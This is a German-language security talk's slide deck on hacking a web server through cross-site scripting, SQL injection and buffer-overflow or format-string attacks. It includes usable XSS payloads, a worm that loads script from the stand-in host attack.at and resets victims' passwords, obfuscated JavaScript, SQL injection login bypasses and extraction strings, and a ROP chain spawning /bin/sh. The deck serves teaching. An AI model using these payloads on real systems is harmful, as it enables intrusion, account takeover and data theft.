Anatomie eines Webserver Hacks Alexander Inführ alex.infuehr@gmx.at René Freingruber r.freingruber@sec-consult.com
Agenda Einführung und Zielsetzung Angriff 1: Cross Site Scripting Angriff 2: SQL Injection Angriff 3: Format String Attacke
Einführung Zielsetzung: Hacken eines Webservers Rootzugang per SSH Backdoor Interessante Hacks! Nicht nur Grundlagen Ausgangssituation: Angreifer im Auto in anderem Ort WEP / WPA2(WPS) Netzwerk gehackt VPN + Socks5 aktiv, Festplatte verschlüsselt
Cross-Site Scripting XSS
XSS Definition Benutzereingaben werden unkodiert in der Ergebniswebseite integriert. Angreifer kann Code in Seite einschleusen Code wird im Browser von Besuchern ausgeführt. Beispiel: Suche, Gästebuch, Forum, Logfiles
HTML & Javascript
Injection Points Direct HTML Markup Injection Javascript string <h1>userinput</h1> <script> var s= UserInput </script> Html attribute <input value= UserInput >
Innerhalb HTML Attribute <input type=text value= UserInput > UserInput: A autofocus onfocus=alert( XSS )// <input type=text value= A autofocus onfocus=alert( XSS )// >
Javascript String <script>var s= UserInput ;</script> Userinput: out ;alert(/xss/)// </script><svg/onload=alert(/xss/)> Var s= out ;alert(/xss/)// Var s= </script><svg/onload=alert(/xss/)>
Beispiel XSS Worm www.fakebook.org/fakebook.pl?sub=detail&id=<script src=attack.at/a.js></script> var req2 = new XMLHttpRequest(); var req3 = new XMLHttpRequest(); req2.open('get', 'fakebook.pl?sub=detail', false); req2.send(null); var t = req2.responsetext; var x = t.substr(t.lastindexof('friends'), t.length); x=x.substr(0,x.indexof("\n")); var split = x.split("</a>"); var n;
Beispiel XSS Wurm for(i = 0; i < split.length; i++){ n = split[i].substr(split[i].lastindexof('>')+1, split[i].length); req3.open('get', 'fakebook.pl?sub=detail&id=' + n + '&newmsg=check this Group: <a href= www.fakebook.org/fakebook.pl?sub=detail&id= <script src=attack.at/a.js></script> >Fakebook</a>', true); req3.send(null); } var req = new XMLHttpRequest(); req.open('get', 'fakebook.pl? sub=changepw&newpw=you_got_owned&pwrep=you_got_owned', false); req.send(null);
Obfuscation Verschleiern von Programmcode Geheimhaltung von Quellcode Filterbypass Angriffe verbergen
HTML Obfuscation ><iframe src=http://evil.com></iframe> Leerzeichen ersetzen Falscher Attribute Name Data Uri oder Javascript Uri Base64 Offener Tag Html entities
HTML Obfuscation Leerzeichen ersetzen <iframe/weneedtext/src= http://evil.com ></iframe> Falscher Attribute Name <img alt/= ><iframe src=http://evil.com ></iframe> >
HTML Obfuscation Data Uri oder Javasript Uri: <iframe src= data:text/html,<script>alert(/xss/)</script> ></iframe> <iframe src= javascript:alert(/xss/) ></iframe> <a href= javascript:alert(document.cookie) >You want to click me</a>
HTML Obfuscation Base64 Offener Tag <iframe src= data:text/html;base64,phnjcmlwdd5hbg VydCgvWFNTLyk8L3NjcmlwdD4= ></iframe> <iframe src=http://evil.com HTML Entities a=a b= b :=:
Html Obfuscation Payload ><img/asdfetwq/zasdf/= ><iframe/aata/src= data:hello;base64,phnjcmlwdd 5hbGVydCgvWFNTLyk8L3NjcmlwdD4=
Javascript Obfuscation alert(/xss/); FunctionName Encoding (\u0061) String Encodings (\u0061,\x61,\141) Using Constructor Statement Using Function Prototype Non Alpha Numeric Smiley Encoding
Beispiele FunctionName Encoding \u0061l\u0065rt(/xss/) or \u0061\u006c\u0065\u0072\u0074(/xss/) String Encoding: window['alert'](/xss/) Using Constructor Statement: window['\u0061\x6c\e\162t'](/xss/) 'a'.constructor.constructor( alert(/xss/) )() Using Function Prototype Function.prototype.apply.apply(alert,[,[/XSS/]])
Obfuscation Beispiel ({})[$='\143\157\156\163\164\162',$ $='\165\143\164\157\162',$+$$][$+$$] ('\141\154\145\162\164\50/xss/\51')() ({}) = Erstellt ein Objekt [$+$ $='\143\157\156\163\164\162\165\143\164\15 7\162'] = 'constructor' $+$$ = Zusammenfügung der beiden Strings '\141\154\145\162\164\50/xss/\51' = alert(/xss/) () aufruf der Function, die erstellt wurde
Non Alpha Numeric (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+! +[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+ ([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(! +[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+ []+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+ [])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+ [+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[] [[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![] +[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(! +[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+ []]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+ []]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+ []]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!! []+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[] +!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+! +[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+ []+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+ [])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+ []]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[]) [!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![] +[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+ []+!+[]+!+[]+!+[]+!+[]]])()
Javascript Smiley ゚ ω ゚ノ = / m ノ ~ //* */ ['_']; o=( ゚ー゚ ) =_=3; c=( ゚ Θ ゚ ) =( ゚ー゚ )-( ゚ー゚ ); ( ゚ Д ゚ ) =( ゚ Θ ゚ )= (o^_^o)/ (o^_^o);( ゚ Д ゚ )={ ゚ Θ ゚ : '_', ゚ ω ゚ノ : (( ゚ ω ゚ノ ==3) +'_') [ ゚ Θ ゚ ], ゚ー゚ノ :( ゚ ω ゚ノ + '_')[o^_^o -( ゚ Θ ゚ )], ゚ Д ゚ノ :(( ゚ー゚ ==3) +'_')[ ゚ー゚ ] }; ( ゚ Д ゚ ) [ ゚ Θ ゚ ] =(( ゚ ω ゚ノ ==3) +'_') [c^_^o];( ゚ Д ゚ ) ['c'] = (( ゚ Д ゚ )+'_') [ ( ゚ー゚ )+( ゚ー゚ )-( ゚ Θ ゚ ) ];( ゚ Д ゚ ) ['o'] = (( ゚ Д ゚ )+'_') [ ゚ Θ ゚ ];( ゚ o ゚ )=( ゚ Д ゚ ) ['c']+( ゚ Д ゚ ) ['o']+( ゚ ω ゚ノ +'_')[ ゚ Θ ゚ ]+ (( ゚ ω ゚ ノ ==3) +'_') [ ゚ー゚ ] + (( ゚ Д ゚ ) +'_') [( ゚ー゚ )+( ゚ー゚ )]+ (( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [( ゚ー゚ ) - ( ゚ Θ ゚ )]+( ゚ Д ゚ ) ['c']+(( ゚ Д ゚ )+'_') [( ゚ー゚ )+( ゚ー゚ )]+ ( ゚ Д ゚ ) ['o']+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ];( ゚ Д ゚ ) ['_'] =(o^_^o) [ ゚ o ゚ ] [ ゚ o ゚ ];( ゚ ε ゚ )=(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ Д ゚ ). ゚ Д ゚ノ +(( ゚ Д ゚ )+'_') [( ゚ー゚ ) + ( ゚ー゚ )]+(( ゚ー゚ ==3) +'_') [o^_^o - ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ ω ゚ノ +'_') [ ゚ Θ ゚ ]; ( ゚ー゚ )+=( ゚ Θ ゚ ); ( ゚ Д ゚ )[ ゚ ε ゚ ]='\\'; ( ゚ Д ゚ ). ゚ Θ ゚ノ =( ゚ Д ゚ + ゚ー゚ )[o^_^o -( ゚ Θ ゚ )];(o ゚ー゚ o)=( ゚ ω ゚ノ +'_')[c^_^o];( ゚ Д ゚ ) [ ゚ o ゚ ]='\"';( ゚ Д ゚ ) ['_'] ( ( ゚ Д ゚ ) ['_'] ( ゚ ε ゚ +( ゚ Д ゚ )[ ゚ o ゚ ]+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+ ( ゚ Θ ゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ((o^_^o) - ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+ ((o^_^o) +(o^_^o))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ o ゚ ]) ( ゚ Θ ゚ )) ('_');
DEMO XSS!
SQL Injection SQLi
SQL Injection: Theorie Einfache SQL Abfragen: SELECT username, password FROM usertabelle WHERE alter >= 18 ; Gib sämtliche Benutzer mit deren Passwort zurück, welche erwachsen sind.
Die usertabelle id username password alter 0 admin admin 23 1 carl pw123 15 2 bob sela99 19 3 lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy1994 18
Ergebnismenge der SQL Abfrage id username password alter 0 admin admin 23 1 carl pw123 15 2 bob sela99 19 3 lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy1994 18
SQL Injection: Login Bypass Login-Abfrage: SELECT * FROM usertabelle WHERE username = 'USER_INPUT1' AND password = 'USER_INPUT2' ; Falls Ergebnismenge >= 1 ist, war Login erfolgreich
Die usertabelle id username password alter 0 admin admin 23 1 carl pw123 15 2 bob sela99 19 3 lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy1994 18
Eingabe: lisa / himmel id username password alter 0 admin admin 23 1 carl pw123 15 2 bob sela99 19 3 lisa himmel 17 4 malloy password 14 5 lara <3joe 26 6 georg!3klxy%4)9xsf& 32 7 tom tommy1994 18
SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin' AND password = '' or '1'='1' ;
SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin' -- ' AND password = 'egal' ;
SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = 'admin'/*' AND password = '*/ and '1'='1' ;
SQL Injection: Login Bypass Angreifer macht folgende Eingabe: SELECT * FROM usertabelle WHERE username = '' or 1=1 limit 1 offset 0-- ' AND password = 'egal' ;
SQL Injection: Union Folgende Abfrage um Benutzer mit einem bestimmten Alter anzuzeigen: SELECT username, alter FROM usertabelle WHERE alter = USER_INPUT
SQL Injection: Union SELECT username, alter FROM usertabelle WHERE alter = 0 UNION SELECT version(), @@datadir
SQL Injection: Group Concat Wenn nur erstes Tupel angezeigt wird:
SQL Injection: Binäre Antwort Was machen, wenn Ergebnis nicht angezeigt wird? Beispielsweise bei Login Nur ja/nein Ergebnis in Fehlermeldungen Ergebnis Bit für Bit auslesen Ergebnis per DNS / Email übertragen Ergebnis im Webroot in File speichern
Error Based Injection Anwendbar, wenn Fehlermeldung angezeigt werden. Userinput: union select count(*),0x3a,concat(user(),0x3a,@@version, 0x3a,floor(rand(0)*2)) as x from information_schema.tables group by x;
Blind SQLi Bitweise Auslesen Userinput: ' or 128 >= ascii(substring(user(),1,1)) - True Erstes Zeichen kleiner Ascii-128 ' or 64 >= ascii(substring(user(),1,1)) - False Erstes Zeichen zwischen 65 u. 128 ' or 96 >= ascii(substring(user(),1,1)) - True Erstes Zeichen zwischen 65 u. 96 usw.
Blind SQLi Bitweise Auslesen Schlecht: Spätere Requests hängen vom Ergebnis von früheren Requests ab. Kein Threading möglich langsam Lösung: Bitmasken bzw. find_in_set()
Blind SQLi Bitweise Auslesen
SQLi: Find_in_set()
DEMO Upload PHP nonalphanumeric Shell mittels Datum-SQLi
Bufferoverflow (BOF) und Formatstring Attacke
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) ESP Stack grows downwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 ESP Stack grows downwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 Stack grows downwards Arg2: 0x00000005 ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); Heap grows upwards } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Heap grows upwards ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) EIP Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) ESP Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EIP Old EBP (SFP) ESP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 16(%EBP) Arg2: 0x00000005 12(%EBP) Stack grows Arg1: 0x00000063 8(%EBP) downwards Old EIP (RET) 4(%EBP) EBP Old EBP (SFP) -4(%EBP) (%EBP) ESP -8(%EBP) -12(%EBP) Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Heap grows upwards EIP Old EBP (SFP) ESP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Old EBP (SFP) ESP EIP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] ESP Heap grows upwards EIP int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] ESP EIP Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( int a, int b, int c) { char buf[8]; gets(buf); } HEAP Low address
STACK 4 Byte Old Values Stacklayout High address (e.g. 0xc0000000) Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Old EBP (SFP) buf[4-7] buf[0-3] Heap grows upwards int main() { MyFunc(99,5,6); return 0; } void myfunc( Write Direction int a, int b, int c) { ESP char buf[8]; EIP gets(buf); } HEAP Low address
Bufferoverflow STACK before BOF Old Values High address (e.g. 0xc0000000) Shellcode Arg3: 0x00000006 Arg2: 0x00000005 Stack grows Arg1: 0x00000063 downwards Old EIP (RET) EBP Hardcoded address buf[0-3] -8(%EBP) NOP Sled (= 0x90909090...) New RET address Old EBP (SFP) buf[4-7] -4(%EBP) STACK after BOF EBP Write direction ESP Execution path EIP after ret-instr. Padding (e.g.: 0x414141...) ESP
Schutzmaßnahme: ASLR High address NOT STATIC STACK after BOF Shellcode Hardcoded address NOP Sled (= 0x90909090...) New RET address EBP Padding (e.g.: 0x414141...) Bypass methods: 1) Bruteforce 2) Use registers (jmp eax or esp) 3) Use stack Variable (pop pop ret) 4) Use heap (only ASLR v.1) 5) Use bss, text, sections 5) Call program with execve 6) Use a format string vuln 7) Overflow function variables, e.g. the argument of system() 8) Mutliple overflows (2 or more) ESP 9) Overflow structs e.g. set isadmin field to true..
Schutzmaßnahme: DEP High address STACK after BOF (e.g. 0xc0000000) NOT EXECUTABLE Shellcode Hardcoded address Bypass methods: 1) ret2libc ==> Just overwrite ret address with system() function address. NOP Sled (= 0x90909090...) New RET address EBP Padding (e.g.: 0x414141...) ESP
Zusammenfassung Beide Schutzmaßnahmen alleine: schwach Schutzmaßnahmen zusammen: stark Return Oriented Programming (ROP) Springe vorhandenen Code in nicht randomisiertem Text-Segment an. Baue aus Gadges gesamten Shellcode
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin Wir speichern in EAX /bin
Return Oriented Programming s += struct.pack("<i", 0x0804e9b4) # pop eax s += struct.pack("<i", 0x6e69622f) # /bin s += struct.pack("<i", 0x08053e0c) # pop edx s += struct.pack("<i", 0x080d0141) # addr where we want to write /bin Wir speichern in EDX 0x080d0141
Return Oriented Programming s += struct.pack("<i", 0x080d0141) # addr where we want to write /bin s += struct.pack("<i", 0x08081061) # mov [edx] eax Wir schreiben nach 0x080d0141 den String /bin
Schritte zu Shell Setze EAX = 23 (setuid), EBX = 0 Rufe int 0x80 auf: setuid(0) Schreibe /bin/sh in den Speicher (1) Schreibe Addr. von /bin/sh in den Speicher (2) Setze EDX = 0 (Umgebung) Setze ECX auf Addr. Von (2) : Addr. v. /bin/sh Setze EBX auf Addr von (1) : /bin/sh Setze EAX = 11 (execve) Rufe int 0x80 auf: execve( /bin/sh,.)
Format String Attacke Sicherer Programmcode: pr i nt f ( % s, buf f er ) ; Unsicherer Programmcode: pr i nt f ( buf f er ) ;
Format String Attacke Format Parameter %s %x lesen von Stack Format Parameter %n schreibt auf Adresse von Stack Speichert bisher geschriebenen Bytes!
Format String Attacke
Format String Attacke
DEMO ROP Format String Attack!
Weitere Informationen Insert-script.blogspot.co.at Juggl3r.at Securitytube.net Owasp.org Html5sec.org Tuts4you.com Exploit-db.com Thespanner.co.uk
Bücher Web Application Hackers Handbook SQL Injection Attack and Defense Web Application Obfuscation Sicherheitsrisiko Web Anwendung The Shellcoder's Handbook Hacking: Die Kunst des Exploits Aus dem Tagebuch eines Bughunters The Rootkit Arsenal
END Fragen?